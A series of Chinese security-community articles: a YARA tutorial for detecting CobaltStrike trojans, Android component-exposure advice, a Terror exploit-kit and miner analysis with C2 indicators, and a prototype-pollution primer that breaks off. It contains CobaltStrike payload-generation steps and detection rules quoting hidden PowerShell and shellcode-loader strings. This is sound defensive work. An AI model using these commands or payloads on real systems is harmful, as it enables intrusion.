执行完之后，没有任何输出，根据Unix内核的无回显则运行成功原则，我们可以知道该指令已经成功执行。
而没有输出是因为我们的yara规则没有命中111文件夹下的任何文件。于是我们修改规则如下：
我们增加了一个十六进制字符串$d 所匹配的值是4D 5A。 而4D
5A是PE文件（包括exe、dll等）的文件头，也就是说一个正常的PE文件中是一定会包含4D 5A这个十六进制的数据的。
且我们在最后的condition中加入了or $d，表示如果$d条件满足，样本也可以成功识别。
demo1.yara保存之后我们重新对111文件夹下的文件进行扫描：
这里可以看到，yara规则已经成功识别到了111/svchost.exe文件命中了我们的yara特征，并且提扫描之后自动标记为silent_banker，这个silent_banker就是我们在最上面定义的检出名称。
现在我们将更多的PE文件拷贝到111文件夹下以及111文件夹下的子目录中。
然后再次对111文件夹进行扫描
这里可以看到还是只有一条结果，于是我们通过yara —hlep查看一些帮助文档：
-t, --tag=TAG print only rules tagged as TAG
-i, --identifier=IDENTIFIER print only rules named IDENTIFIER
-n, --negate print only not satisfied rules (negate)
-D, --print-module-data print module data
-g, --print-tags print tags
-m, --print-meta print metadata
-s, --print-strings print matching strings
-L, --print-string-length print length of matched strings
-e, --print-namespace print rules' namespace
-p, --threads=NUMBER use the specified NUMBER of threads to scan a directory
-l, --max-rules=NUMBER abort scanning after matching a NUMBER of rules
-d VAR=VALUE define external variable
-x MODULE=FILE pass FILE's content as extra data to MODULE
-a, --timeout=SECONDS abort scanning after the given number of SECONDS
-k, --stack-size=SLOTS set maximum stack size (default=16384)
-r, --recursive recursively search directories
-f, --fast-scan fast matching mode
-w, --no-warnings disable warnings
--fail-on-warnings fail on warnings
-v, --version show version information
-h, --help show this help and exit
这些参数很重要，我们可以翻译了之后多看，多用
-t、 --tag=tag只打印标记为tag的规则
-i、 --identifier=identifier只打印名为identifier的规则
-n、 --negate只打印不满足的规则（negate）
-D、 --打印模块数据打印模块数据
-g、 --打印标签打印标签
-m、 --打印元数据
-s、 --打印字符串打印匹配的字符串
-L、 --打印字符串长度打印匹配字符串的长度
-e、 --打印命名空间打印规则的命名空间
-p、 --threads=NUMBER使用指定的线程数扫描目录
-l、 --max rules=NUMBER匹配多个规则后中止扫描
-d VAR=值定义外部变量
-x MODULE=文件将文件内容作为额外数据传递到模块
-a、 --timeout=秒在给定秒数后中止扫描
-k、 --堆栈大小=插槽设置的最大堆栈大小（默认值=16384）
-r、 --递归递归搜索目录
-f、 ——快速扫描快速匹配模式
-w、 --无警告禁用警告
--警告失败警告失败
-v、 --版本显示版本信息
-h、 --help显示此帮助并退出
这里可以看到 -r recursively search directories
表示递归遍历所有子目录。
于是我们重新运行，带上-r 参数：yara -r demo1.yara 111/
这样就可以对指定目录进行递归扫描了。
我们还可以集合-r和-m参数，在扫描时输出详细信息：
通过上面的例子，我们对Yara有了一个大概的了解，接下来我们来看一下Yara的一些更方便的特性。
我们上面提到，Yara可以匹配文本字符串、十六进制字符串。其实除了这两种，Yara还支持正则表达式的写法。
在上面，我们已经测试了十六进制字符串的匹配。匹配的方式是扫描文件是否包含了4D
5A。这里都不能算是一条规则，因为这条规则没有意义。其实十六进制还包含了很多高级的写法，包括通配符、可变长度等。这里空讲无用，之后遇到比较好的样本再做分享。
我们来测试一下字符串的写法，我们新建一个demo2.yara，内容如下：
这条yara的规则很简单，就是扫描的文件中是否包含了if **name** == ‘ **main**
‘:这个字符串，如果有，则将其标记为python_file
然后还是对111目录进行扫描：
可以看到成功扫描到python文件。这里需要注意，我们在yara中直接写字符串的话，是区分大小写的，如果想要扫描时不区分大小写，可以加入nocase关键字，比如：
接下来我们看看yara中的正则是如何写的。
Yara的正则其实和字符串写法很类似，并且可以用在字符串上的特性都可以用在正则表达式中。
以匹配身份证号为例，我就直接以一个非常简单粗暴的方式来匹配身份证，就是直接查看文件中是否包含了18位连续的数字（我这种匹配当然不标准，只是为了方便测试）。
此外，我还加上了一个$peflag的标志条件，在condition的地方通过 and not 的方式过滤掉所有的PE文件。
demo3.yara如下：
扫描结果如下：
这里出现了一个warning：demo3.yara(11): warning: $reg1 is slowing down scanning
(critical!)
提示demo3.yara规则中的$reg1这个匹配条件写的不好，会引起yara的性能下降。
这是因为我们直接使用正则表达式瞎匹配，这样肯定是不对的，因为如果扫描一个1M或是2M的脚本文件，这个yara规则一跑，基本上就会卡死。所以在书写yara规则的时候，在可达成目的的情况下，也要考虑扫描的性能。关于yara的优化，我们在后面的实战样本中会提到。
## 0x02 CobaltStrike安装和使用
### CobaltStrike安装
CobaltStrike的安装非常简单，只需要在本机装好JAVA环境，然后分别运行CobaltStrike的客户端和服务器端即可。
以3.14为例，3.14版本的CobaltStrike解压后文件结构如下：
其中的teamserver就是CobaltStrike的服务器端，CobaltStrike文件就是客户端。
只需要
./teamserver 服务器ip地址 cs密码
即可成功启动CobaltStrike的服务器。
然后在客户端使用./cobaltstrike 然后填写服务器的ip地址和密码即可（端口一般不变）成功登录。
4.0的结构稍微有所不同
在4.0中不再有CobaltStrike客户端文件，取而代之的是CobaltStrike.bat文件
所以我们首先启动CobaltStrike服务器，这里的ip地址就是本机的ip地址，后面的123456是登录密码
服务器成功启动之后，我们启动客户端：
成功登录上cs客户端：
大概介绍一下CobaltStrike各个菜单的的功能：
CobaltStrike的监听器主要分为beacon和foreign，其中bacon是CobaltStrike内置的，我们使用CobaltStrike生成的payload反弹shell回来直接就可以用
foreign是外置的，比如想通过CobaltStrike反弹到msf，就可以使用foreign
### CobaltStrike生成马
我们可以通过上面介绍的图标快捷菜单生成木马，也可以通过Attacks菜单栏生成我们想要的木马。
我这里分别生成了beacon、foreign、HTML、powershell、VBS、office宏等cs马。接下里先分析分析这些木马尝试提取CobaltStrike特征，生成马如下（3.14）：
## 0x03 CobaltStrike样本查杀
### Win32_PE
我们首先来看看32位的PE文件，包括exe和dll。
为了防止样本在Windows操作系统下被误执行，我这里给所有逇样本都加上了.bin后缀，然后统计这些文件的时候可以发现，通常情况下CobaltStrike默认生成的beacon的PE马大小都在278kb到303kb的样子。红框部分的foreign马的大小却只有十多kb。
所以我们可以尝试编写第一个filter来过滤掉其他的样本。
为什么要编写filter呢，因为比如我们扫描Windows的系统目录或是一个程序目录，该目录下有上千，上万甚至上十万的文件，如果我们不写filter，那么Yara在扫描的时候将会每个文件都完整的去匹配我们写的规则，在上面的时候我们提到，yara规则是会全文扫描的，那么这样将会大大降低扫描效率，如果我们能够写一些filter过滤掉大部分的不相关样本，那么yara在扫描的时候将会只对疑似的文件进行有效的扫描而不会浪费资源。
Yara提供了文件大小的变量，标准写法为
rule FileSizeExample
{
condition:
filesize > 200KB
}
第一个条件写好之后，可以看到基本上就筛选了刚才我们看到的PE我文件，但是多了一个beacon3.ps1，没关系，我们在后面的规则中过滤掉。
现在我们随便加载两个exe到IDA中分析。
IDA加载之后，一对比发现两个马的入口点是几乎完全一样的，唯一细微的区别就是这里mov语句的参数2不同。
空格转换为汇编代码显示，可以看到样本此时默认是main函数。这里目前至少是说明CobaltStrike的两个beacon马的main函数入口点结构相同。
Ctrl + E ，然后跳转到start函数，看看两个样本的入口点是否相同：
来到start函数之后，我们可以发现两个CobaltStrike样本的入口点是完全一致的，程序入口点都是004014B0
减去基地址00400000，那么入口点应该就是偏移14B0的位置。
我们再加载一个beacon的样本，看看入口点是否还是一致，这里发现三个样本的入口点都是14b0的地方，所以我们推测CobaltStrike的样本入口点都在14b0的地方，所以我们编写第二个规则去验证一下。
在yara3.0以下的版本中，可以直接使用entry_point变量获取入口点，在3.0以上的版本中，该变量已经被弃用。取而代之的是一个pe模块。现在可以使用pe.entry_point来获取入口点，但是需要注意的是，这里是获取到的文件偏移，也就是offset，并不是我们在IDA中看到的entry_point，这里需要注意一下。
程序的Offset是0x8b0：
所以我们可以将条件写成如下形式：
官方文档给的写法是用关键字at：
但是需要注意，使用at是取值，并不是匹配地址。
也就是说上图这种写法是去找一下$a变量的值是否在entrypoint这个地址能找到。
也就是在我们这条规则中，如果要用at，可以写成如下：
这里的$name中的十六进制值需要大写，匹配的值就是IDA入口点的十六进制数据：
但是我们同时也可以看到，at的写法没有那么有通用性，我们还是使用上面 == 的写法。
那么现在第二条规则就已经写好了，我们继续来看其他的内容。
我们静态分别看下这个样本的main函数：
在Main函数中可以看到，关键就调用了两个call，分别是4027b0和401800
我们大概看一下就可以知道sub_401800才是关键函数，在sub_401800函数中，程序会通过CreateThread创建一个新线程，并且可以看到有一个奇怪的%c%c%c%c%c%c%c%c%cMSSE-%d-server看起来像是通信协议。
这里CreateThread的lpStartAddress是sub_4016D3,在sub_4016D3的sub_401608函数中可以看到正在通过CreateNamedPipeA的方式创建管道准备通信。
我们调试器里直接过来可以看到跟我们想的应该一样，这里的确是跟通信相关的内容。
查看多个样本，可以发现%c%c%c%c%c%c%c%c%cMSSE-%d-server 这个值是固定的。
所以可以直接尝试匹配这个串试试：
可以看到再次成功匹配。到这里，我们关于CobaltStrike的Beacon木马的yara规则基本上就提取完成了。
最后，我们给规则加上一个PE的判断条件：
现在这个条件就比较完整了。
1. 通过uint16(0) 的方式取文件的前两个字节，判断是否等于0x5A4D 如果等于则说明是PE，这里用于过滤PE文件
2. 判断程序的pe.entry_point是否等于0x8B0，这里是文件的file offset，这里也算是一个很好的过滤条件，可以直接过滤掉大部分的文件。
3. 通过两个filesize的比较限制文件的大小
4. 最后用一个关键的字符串来做最终的验证。
这里是看到这个串的确是CobaltStrike使用来通信的，且一批CobaltStrike的马都包含了这个串，相对来说，应该不会命中到其他的正常文件，这个通信协议应该是cs专用的，所以可以直接这样写，如果不想误报，想要提高检测的精准性，可以继续找其他的特征提取。
反正在写yara规则的时候，通用性和精准性，是分析人员需要权衡的条件，如果我们想要提高特征的通用性，势必就需要减少一些匹配条件，精准性就会下降，至于到底是通用性优先还是精准性优先就得看具体的应用场景。
### powershell马特征
处理了CobaltStrike的PE马，我们再来看看其他类型的木马规则如何提取。
首先是powershell木马，也就是ps1的文件。
我这里只生成了两个。
分别查看一下文件内容。
32位：
64位：
这里可以看到，32位和64位的powershell马结构其实是一样的，只是32位的马使用了$DoIt=
@’’的方式来定义两个函数，其实和64位这里是一样的。
这里很明显，程序最后关键执行的数据在24行开始的地方，这里定义了超级大的base64串。经过观察可以发现32为和64执行的串的头部是不一样的：
32位：
64位：
经过分析我们可以发现，代码的最下面，上面定义的这个$var_code的执行语句，且两个版本的ps马都是这样写的，于是我们直接尝试用字符串匹配这一段试试。
就直接在原有yara的基础上增加一个rule即可：
然后命令行测试，可以看到两个ps1脚本都被成功匹配
### html_pe马特征
CobaltStrike的html木马分为了三种，分别是包含PE文件的hta 包含VBS的hta 包含powers的Hta，我们分别来看看。
首先是包含PE的hta：
该类别的cs马会直接将一个PE文件的十六进制数据流硬编码到文件中：
在马最下面，程序会定义一个var_tempexe文件用于接受上面的数据流，将该文件写入到本地并且通过run执行之后删除该文件。这里其实写入的文件应该也是beacon的木马，在14行代码的位置，有着var_tempexe变量的赋值语句，经过与多个样本的对比分析发现，后面的beacon_evil.exe不是固定的，而是攻击者在使用CobaltStrike生成木马的时候给定的文件名。所以我们可以考虑用正则来匹配这一段，作为条件之一。
编写yara特征之后进行扫描，成功捕获对应的样本
完整的正则表达式如下：
/var_tempexe = var_basedir & \”\\\” & \”[A-z]{1,20}.exe\”\s*Set var_stream =
var_obj.CreateTextFile(var_tempexe, true , false)/
我们来一点点拆解。
首先，我们在yara中使用正则表达式要使用
//
标识，我们将正则写到两个斜杠之间。
var_tempexe = var_basedir & 这段是我们直接从原始代码中复制出来的。
\”\\\” 用于转义匹配中间的 “\”
由于我们刚刚已经分析过，后面的beacon_evil.exe不是固定的，是又攻击者指定，所以我这里写了一个范围，1-20，然后通过\s*将后面的语句给组合起来进行匹配。
### html_VBS特征
接下来我们看看html的VBS马，结构如下：
经过分析，我们可以看出来，下面的一大段代码，其实是带轻微混淆的VBA代码。
混淆方法很简单，就是通过&符号拼接由chr函数转换的ascii
“&Chr(61)
我们尽量找一个比较通用的地方来提取特征，稍微分析一下，可以发现，上面部分都是一些函数的导入，变量的定义，没有做神什么比较奇怪的操作，在57行的位置，定义了一个很大的数组，数组名为myAr&ray
后面的Chr(61)转换之后是等于符号 = 。 后面的一大段数据都是用于给myArray赋值的。所以我们可以考虑将特征提取到这里。
这里应该可以直接写字符串进行匹配了：
### html_powershell
最后，html类别的马就只剩下powershell类型的了，还是先来看看代码结构
cs的powershell马结构相对来说就很简单了，就是通过powershell执行了超级长一段base64编码的脚本命令。
直接取这个base64串的头部出来解码看看是是不是常见的语句
JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8Acg
解码之后发现是$s=New-Object IO.Memor
结合代码分析，这里是将后面的数据加载到内存中执行，这里是在做准备工作。
结合前面的powershell -nop -w hidden
-encodedcommand本身也不是常见的powershell语句，正经人谁会这样干，所以我们直接尝试提这里的字符串看能否通杀。
貌似可以
### Macro
现在还有一类Macro样本，也就是Office宏代码。这个其实也是简单，但是这里我生成的时候偷了一个懒，没有按照cs的文档将宏代码存储到Office文档中。关于Office文档的查杀，在后面再结合oledump等工具继续介绍。
## 0x04 查杀效果
我们回到上级目录，看看同时查杀3.14和4.0的效果怎样
我们将结果写入到1.txt中
一共是查杀了24个样本
可以看到，一共27个文件，除了vba和这里的两个raw没写规则外，全部查杀了。所以，对CobaltStrike木马基本查杀的yara规则就这样写好了。后面我们学习了yara的高级写法或是遇到其他cs的样本可以再继续完善，但是目前这个yara应该可以识别绝大多数的正常cs马了。
最后，CobaltStrike解压之后，目录中会有一个CobaltStrike.jar文件
使用解压缩工具将这个文件也解压：
这里面有一个名为resources的文件夹，就是CobaltStrike的配置信息，我们在CobaltStrike控制台生成的木马都来源于这个文件夹。
所以我们也可以直接分析这里面的样本，提取规则进行查杀。
## 0x05 完整yara
import "pe"
rule beacon32
{
meta:
description = "This rule is used for discovery CobaltStrike’s beacon32PE Trojan"
author = "int3"
date = "2020-07-21"
reference = "reference"
hash = "hash"
strings:
$name = "%c%c%c%c%c%c%c%c%cMSSE-%d-server"
condition:
uint16(0) == 0x5A4D and pe.entry_point == 0x8b0 and filesize > 277KB and filesize < 304KB and $name
}
rule ps
{
meta:
description = "This rule is used for discovery CobaltStrike’s powershell Trojan"
author = "int3"
date = "2020-07-21"
reference = "reference"
hash = "hash"
strings:
$str1 = "$var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)"
$str2 = "[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)"
condition:
uint16(0) != 0x5A4D and $str1 and $str2
}
rule CobaltStrike_hta_pe
{
meta:
description = "This rule is used for discovery CobaltStrike’s hta'pe Trojan"
author = "int3"
date = "2020-07-21"
reference = "reference"
hash = "hash"
strings:
$reg1 = /var_tempexe = var_basedir & \"\\\" & \"[A-z]{1,20}.exe\"\s*Set var_stream = var_obj.CreateTextFile\(var_tempexe, true , false\)/
condition:
uint16(0) != 0x5A4D and $reg1
}
rule hta_VBS
{
meta:
description = "This rule is used for discovery CobaltStrike’s hta'vbs Trojan"
author = "int"
date = "2020-07-21"
reference = "reference"
hash = "hash"
strings:
$str = "myAr\"&\"ray \"&Chr(61)&\" Array\"&Chr(40)&Chr(45)&\"4\"&Chr(44)&Chr(45)&\"24\"&Chr(44)&Chr(45)&\"119\"&Chr(44)"
condition:
uint16(0) != 0x5A4D and $str
}
rule hta_ps1
{
meta:
description = "This rule is used for discovery CobaltStrike’s hta'vbs Trojan"
author = "int"
date = "2020-07-21"
reference = "reference"
hash = "hash"
strings:
$str = "var_shell.run \"powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8A"
condition:
uint16(0) != 0x5A4D and $str
}
## 0x06 总结
本篇是YARA规则的入门篇，通过本节的内容我们可以发现，Yara在恶意样本检测中有着至关重要的作用（虽然本节中写的YARA很简单，但是Yara可以做的远远不止于此）。此外，我们还可以通过别人写好的yara，辅助我们分析恶意软件，阅读大佬写的Yara我们可以知道大佬在分析对应的样本的时候，关注点在哪里，他提取到了目标木马/家族的哪些特征等等。 | 社区文章 |
0x00 私有组件浅谈
android应用中，如果某个组件对外导出，那么这个组件就是一个攻击面。很有可能就存在很多问题，因为攻击者可以以各种方式对该组件进行测试攻击。但是开发者不一定所有的安全问题都能考虑全面。
对于这样的问题，最方便的修复方式就是在确定不影响业务的情况下，将这个存在问题的组件不对外导出变成私有组件。这样做的确很有效，私有组件也很安全。但是，如果存在某个私有组件能被导出组件启动的话，那么这个私有组件其实就不再是私有了。如果攻击者可以通过控制导出的组件对私有组件进行控制，那么攻击者的攻击面就大大的扩大了。如果不对这种情况进行关注很可能带来一系列安全问题。
正常情况：
私有组件能被启动情况：
0x01 启动私有组件原理分析
存在一个私有组件A，和一个对外导出组件B。如果B能够根据对外传入的Intent中的内容打开私有组件A，同时启动私有组件A的Intent的内容来自启动导出组件B的Intent的内容，那么攻击者就可以通过对外导出组件B，去控制私有导出组件A。这就可能会造成严重的安全风险。
下面用一个简单例子来说明如果能够启动私有组件，能引起的一些安全问题。
PrivateActivity.class
很明显，PrivateActivity是存在问题的，因为从Intent中直接获取值之后，没有做任何异常处理。如果PrivateActivity是私有的一个Activity，并且开发工程师能保证传入到该Activity的Intent一定有值的话，那么其实是无法造成威胁的。但是如果存在另外一个MainActivity，如下：
那么，攻击者就可以通过着么一条命令去实施攻击：
那么应用就会崩溃。
这里只是一个简单的demo，用来说明存在问题。如果PrivateAcitivty里面存在很重要的逻辑业务处理的话，那么恶意攻击者可以通过控制MainActivity去控制PrivateActivity，进而控制PrivateActivity里面的逻辑走向，极有可能造成严重危害。
除了以上这种情况之外，还有一种情况，就是Intent Scheme
URL，如果处理不当的话，也极有可能通过解析Uri的这个导出的组件去攻击启动其他私有组件。本质都是一样的，这里就不讨论这种情况了。
0x03 启动私有组件案例分析
这里以某个app7.5.0版本为例，分析它因为可以启动私有组件导致的严重问题。（目前该app已经没有再使用有问题的组件，有问题的SDK也早已经修复了这个问题）
首先，这个app存在一个私有组件VersionUpdateActivity：
这个私有组件是用来判断是否更新的，如果有，会根据Intent中的url链接去下载相应的更新apk包。
另外，该apk存在另外一个对外导出的组件。
该组件在实现过程中，通过获取到的Intent，经过一系列检查，进入pushClickedResult函数中。
在pushClickedResult函数中，主要做了以下几个操作：
1、首先获取intent中activity
2、然后将这个值作为将要启动的activity的classname
3、将intent传入将要启动的activity
4、然后启动activity
那么很明显了，攻击者可以通过控制XGPushActivity进而控制这个应用的所有私有activity。
攻击私有组件VersionUpdateActivity的POC如下：
这个命令会打开VersionUpdateActivity，如果存在更新，那么点击更新，下载的将是url对应的内容。
0x04 阿里聚安全对开发者的建议
首先，阿里聚安全已经能够检测到这样的问题了。对于上面案例分析中的app，阿里聚安全扫描器扫描到的结果如下：
对于这样的安全风险，阿里聚安全建议：
1、对于不必要对外导出的组件，请设置exported=false。
2、如果该组件因为各种原因，需要导出，那么请检查该组件能不能根据该组件的intent去启动其他私有组件。如果能，请根据业务严格控制过滤和校验intent中的内容，同时被启动的私有组件需要做好各种安全防范。
阿里聚安全 | Android安全开发系列文章
Android安全开发之安全使用HTTPS
Android安全开发之通用签名风险
Android安全开发之ZIP文件目录遍历
Android安全开发之Provider组件安全
Android安全开发之浅谈密钥硬编码
Android安全开发之浅谈网页打开APP
Android应用安全开发之浅谈加密算法的坑
* * *
* 作者：舟海、呆狐@阿里聚安全，更多阿里安全类技术文章，请访问阿里聚安全官方博客：<https://jaq.alibaba.com/community/index.htm> | 社区文章 |
# 【木马分析】360追日团队： 暗号“戒烟”：Terror EK集合八枚漏洞发起挖矿机挂马进攻
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**一、概述**
****
近期，360安全团队监测到一个利用漏洞攻击包Terror Exploit
Kit（简称TerrorEK）散播门罗币挖矿软件的挂马行为，通过内嵌作者的门罗币地址，将用户的机器强占为自己挖矿赚钱的工具。
这是我们近期在国内发现TerrorEK的传播记录，360第一时间发现并进行分析，该TerrorEK除了集成了多个常见的IE和Flash漏洞以外，还加入了最新的IE漏洞组合
**CVE-2017-0037** 和 **CVE-2017-0059**
，有着更高的攻击成功率。经过我们的测试，现有的360安全卫士防御体系早已能够给用户提供多层次保护，抵御此类挂马攻击。
TerrorEK于2016年底出现，作者有时候也会使用Blaze、Neptune、Eris等名字来作为贩卖名称，作者在Twitter上的发言宣称该攻击包包含多个浏览器的不同漏洞[1]，本次发现的攻击页面包含了近几年常见的针对IE浏览器主流漏洞。
**二、挂马分析**
****
通过我们的来源追溯，发现此次攻击行为仍然是采用 **广告挂马**
的形式。攻击者躲避了在线广告运营商的审查上线了挂马页面，并选择在色情网站上线展示，使得大量的用户在访问时遭受到了恶意攻击。这种方式低成本高回报，能够迅速的进行大范围攻击，因此被越来越多的攻击者所选择[2]。
图1 整体挂马流程
本次挂马的网址为hxxp://howtoquitsmoking.review，图1概要展示了整个攻击流程。
这个页面被伪装成了一个正常的网页，其主要内容是一篇关于“HOW TO QUIT
SMOKING”的文章，在浏览过程中会载入一个js文件，通过该文件悄悄的加载攻击页面：
http://howtoquitsmoking.review/loadCss.js
图2挂马伪装页面
图3 加载代码
这个js文件内容如图所示，该文件进行了一定的加密和混淆，整理后的内容如下：
图4 整理后的加载代码
该段脚本用于向当前html文档中写入一个iframe，使浏览器访问其指定的链接。写入的popunder.php页面是TerrorEK的入口，主要功能是跳转到后续的攻击页面。这个页面中的内容是动态生成的，服务端会对这个页面访问的请求根据浏览器的User-Agent进行过滤，根据设置采用不同的攻击策略并返回不同的内容。我们发现的这个页面中，如果是来自非IE浏览器的请求，则会跳转到谷歌主页上去，只有使用IE浏览器，才会继续加载下一步页面触发挂马行为，并且对于不同的浏览器和操作系统，会返回不同的攻击页面。如果请求的浏览器版本小于IE10，则接受到的是一个包含较少漏洞攻击的页面，如果请求的浏览器为IE10以上，则返回的是最全的漏洞攻击页面。
图5 攻击页面
下面按照修复时间逐一列出此次挂马所使用的漏洞信息。
**1\. CVE-2013-2551**
这是个较旧的IE浏览器漏洞，因为近几年新的漏洞的出现，较少出现，不过本次挂马中仍然保留了这个漏洞的攻击代码。
图6 CVE-2013-2551漏洞代码
**2\. CVE-2014-6332**
这是一个经典的IE浏览器VBScript漏洞，在漏洞被公开后便被大量用于网络挂马，这个漏洞利用简单，国内黑产也曾多次使用这个漏洞在国内成功进行了大范围的挂马攻击。
图7 CVE-2014-6332漏洞代码
**3\. CVE-2015-2419**
该漏洞通常是被国外的EK所使用，在国内并没有流行起来。这个漏洞的公开代码经过了一定混淆，修改起来有一定困难，而这次使用的代码，在之前公开的代码基础之上，又使用了javascript-obfuscator这个库进行二次混淆，因此较难识别出来起。关于该漏洞在EK利用中的相关详细分析，可以参见[3]，通过对该页面的调试发现这段漏洞利用代码仍然有问题，无法正常执行。
图8 CVE-2015-2419漏洞代码
**4\. CVE-2015-7645**
该Flash文件是对漏洞CVE-2015-7645
的利用，由于文件采用了繁杂的混淆和加密措施，漏洞的利用代码不能直观的展示出来，我们通过二进制调试来确定漏洞编号，如下：
图9 CVE-2015-7645调试过程
在图中选中部分执行“sar
eax,3”这条指令时，此时eax值为0x000000e2，该值的低三位（此处为2）表示的是数据的类型，根据AVMPLUS的定义，2表示BKIND_VAR类型，而正常情况下，此处应为BKIND_METHOD类型，其值应为1，这与CVE-2015-7645漏洞的成因一致。
**5\. CVE-2015-8651**
CVE-2015-8651漏洞是在国外黑客组织DarkHotel针对国内企业高管的攻击行动中被发现的，随后国外各个漏洞攻击包也迅速整合了这个漏洞。
图10 CVE-2015-8651漏洞代码
**6\. CVE-2016-0189**
CVE-2016-0189是去年出现的比较新的浏览器VBScript漏洞，漏洞利用代码改写简单，短时间内被大量攻击者采用。
图11 CVE-2016-0189漏洞代码
**7\. CVE-2016-4117**
目前已知被利用的Flash漏洞中最新的一个，常见于各种国外漏洞攻击包。
图12 CVE-2016-4117特征代码
**8\. CVE-2017-0037/0059**
这两个组合漏洞，是目前针对IE浏览器的最新的可以利用的漏洞，于2017年7月公开利用代码，现在逐渐被整合入漏洞攻击包中，但是目前公开的漏洞利用代码只能在64位Windows
7并且IE11版本<=11.0.37上正常攻击，有一定局限性。
图13 CVE-2017-0037特征代码
图14 CVE-2017-0059特征代码
攻击者通过以上多个漏洞同时攻击用户电脑，一旦成功触发了某个漏洞，都会调用shellcode在cmd命令行中执行Jscript代码，然后下载恶意程序。
**三、挖矿软件分析**
****
首先执行的恶意程序是使用SmokeLoader[4]作为加载保护方案的一个加载器，这个加载器会通过多种方法躲避检测，有比较强的迷惑性，具有一定的对抗自动化分析能力。
首先SmokeLoader会进行反虚监控和反虚拟机的检测，一旦检测到，则直接进入Sleep循环不再展开功能。
图15 反虚拟机功能
对一些C2等配置信息，会进行加密保存，执行时才自动解密得到明文内容。
图16 解密功能
此外，比较特殊的一点是，该样本会选取
**HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionUninstall**
的HelpLink中的正规URL，进行网络访问，表现出很强的迷惑性。
图17 流量伪装
而在下载功能PE过程中，会发起一个POST请求，在返回数据中包含对应的PE，但这个请求的HTTP返回代码是404错误，有比较强的迷惑作用，一般容易被忽视。下载到的最终样本会注入WINDOWS升级进程wuapp.exe中，在后台悄悄的进行门罗币挖矿。
根据软件内置信息中的账户设置，我们可以从矿池查询到目前的收益，可以看出这个帐号每天大约能够收入0.2个门罗币，约合25刀。
图18 矿池信息
图19 算力变化
**四、总结**
****
这次攻击者释放的是挖矿软件，随着近期比特比等电子货币价格高涨，越来越多的攻击者选择挖矿攻击，相比之前的勒索软件，挖矿软件更能够提供持续的产出，并且在当前高涨的电子货币价格下显得越来越划算。
这次挂马是我们监测到的同时利用漏洞最多的挂马攻击事件，攻击者通过多个漏洞的混合攻击能够有效的提供攻击成功率，这些漏洞大多数已经被修复，用户只要及时给系统打补丁并更新Flash到最新版本就可以免受攻击，而360安全卫士也会从多个层次对网页挂马进行防御，对已知和未知漏洞进行有效拦截，确保用户电脑安全。
本文由360 QEX团队和追日团队合作完成。
**五、IOC信息**
****
**C2:**
hxxp://newtryguys.win/
hxxp://shadowaproch.win/
hxxp://thenewthing.online/
hxxp://meemsaas.site/
hxxp://sossen.site/
hxxp://bumdid.site/
hxxp://youhap.online/
**MD5:**
bc2ae675e7fbc01a50b424d7c243fd9a hyefhqg6btgi.swf
c5c987b04916fef4ad283b1cb3c21191 ydfxe5glulrr.swf
28cfddc186a3b455dfa46261677373a1 y8tvhog8nvkb.swf
2C812EEB662E23546C3A135CD6391CB4 iedhebgc.exe
F3C8A3F61A15C05BC0DE9D60119C56D8 A3F5.tmp.exe
**参考文献**
****
[1] Terror Exploit Kit? More like Error Exploit Kit
[https://www.trustwave.com/Resources/SpiderLabs-Blog/Terror-Exploit-Kit–More-like-Error-Exploit-Kit/](https://www.trustwave.com/Resources/SpiderLabs-Blog/Terror-Exploit-Kit--More-like-Error-Exploit-Kit/)
[2] Hiking Club Malvertisements Drop Monero Miners Via Neptune Exploit Kit
<https://www.fireeye.com/blog/threat-research/2017/08/neptune-exploit-kit-malvertising.html>
[3] 钓鱼工具包（EK）支持CVE-2015-2419漏洞 <http://bobao.360.cn/learning/detail/577.html>
[4] Smoke Loader Adds Additional Obfuscation Methods to Mitigate Analysis
<https://info.phishlabs.com/blog/smoke-loader-adds-additional-obfuscation-methods-to-mitigate-analysis>
[5] Experts from Talos Team discovered changes made to the Terror exploit kit
(EK) that allow it to fingerprint victims and target specific vulnerabilities.
<http://securityaffairs.co/wordpress/59321/malware/terror-exploit-kit-fingerprinting.html> | 社区文章 |
# JavaScript 原型链污染
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
最近看到一篇原型链污染的文章，自己在这里总结一下
## 0x02 javascript 原型链
js在ECS6之前没有类的概念，之前的类都是用funtion来声明的。如下
可以看到`b`在实例化为`test对象`以后，就可以输出test类中的`属性a`了。这是为什么呢？
原因在于js中的一个重要的概念：继承。
而继承的整个过程就称为该类的原型链。
`在javascript中,每个对象的都有一个指向他的原型(prototype)的内部链接，这个原型对象又有它自己的原型，直到null为止`
function i(){
this.a = "test1";
this.b = "test2";}
可以看到其父类为object，且里面还有许多函数，这就解释了为什么许多变量可以调用某些方法。
在javascript中一切皆对象，因为所有的变量，函数，数组，对象
都始于object的原型即object.prototype。同时，在js中只有类才有prototype属性，而对象却没有，对象有的是`__proto__`和类的`prototype`对应。且二者是等价的
**当我们创建一个类时**
原型链为
> b -> a.prototype -> object.prototype->null
**创建一个数组时**
原型链为
> c -> array.prototype -> object.prototype->null
**创建一个函数时**
原型链为
> d -> function.prototype -> object.prototype->null
**创建一个日期**
原型链为
> f -> Data.prototype -> object.prototype->null
所以，测试之后会发现：javascript 一切皆对象，一切皆始于 `object.prototype`
### 原型链变量的搜索
下面先看一个例子：
我们实例要先于在`i`中添加属性，但是在`j`中也有了c属性。这是为什么呢
答：
`当要使用或输出一个变量时：首先会在本层中搜索相应的变量，如果不存在的话，就会向上搜索，即在自己的父类中搜索，当父类中也没有时，就会向祖父类搜索，直到指向null，如果此时还没有搜索到，就会返回
undefined`
所以上面的过程就很好解释了，原型链为
> j -> i.prototype -> object.prototype -> null
所以`对象j`调用`c属性`时，本层并没有，所以向上搜索，在上一层找到了我们添加的`test3`,所以可以输出。
## prototype 原型链污染
先看一个小例子：
mess.js
----
(function()
{
var secret = ["aaa","bbb"];
secret.forEach();
})();
attach.html
结果：
在mess.js中我们声明了一个数组 `secret`,然后该数组调用了属于 `Array.protottype`的`foreach`方法,如下
但是，在调用js文件之前，js代码中将`Array.prototype.foreach`方法进行了重写，而prototype链为`secret ->
